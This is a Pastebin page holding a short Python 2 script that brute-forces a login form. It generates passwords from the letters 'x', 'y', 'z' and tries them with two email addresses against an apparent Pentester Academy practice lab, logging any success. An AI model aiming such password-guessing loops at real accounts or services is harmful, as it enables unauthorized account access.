Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- '''
- Brute Force On Challenge 1
- Ahmed Sherif
- '''
- import urllib2
- import os
- from termcolor import cprint,colored
- your_list = 'xyz'
- complete_list = []
- for current in xrange(5):
- a = [i for i in your_list]
- for y in xrange(current):
- a = [x+i for i in your_list for x in a]
- complete_list = complete_list+a
- chunk = complete_list[120:363]
- print chunk
- print len(chunk)
- f = open('myfile3.txt', 'w')
- username = ['jack@pentesteracademy.com','admin@pentesteracademy.com']
- for pw in chunk:
- for x in username:
- trying = "Trying with Username \t"+ x +"\t password "+pw + "\n"
- print trying
- url = ('http://pentesteracademylab.appspot.com/lab/webapp/1?email='+x+'&password='+pw)
- request = urllib2.Request(url)
- response = urllib2.urlopen(request)
- back = response.read()[2486:2492]
- print back
- f.write(trying + back + "\n")
- if(back!="Failed"):
- cprint ("Success With Username " +x+ "& Password " + pw ,'red')
- f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement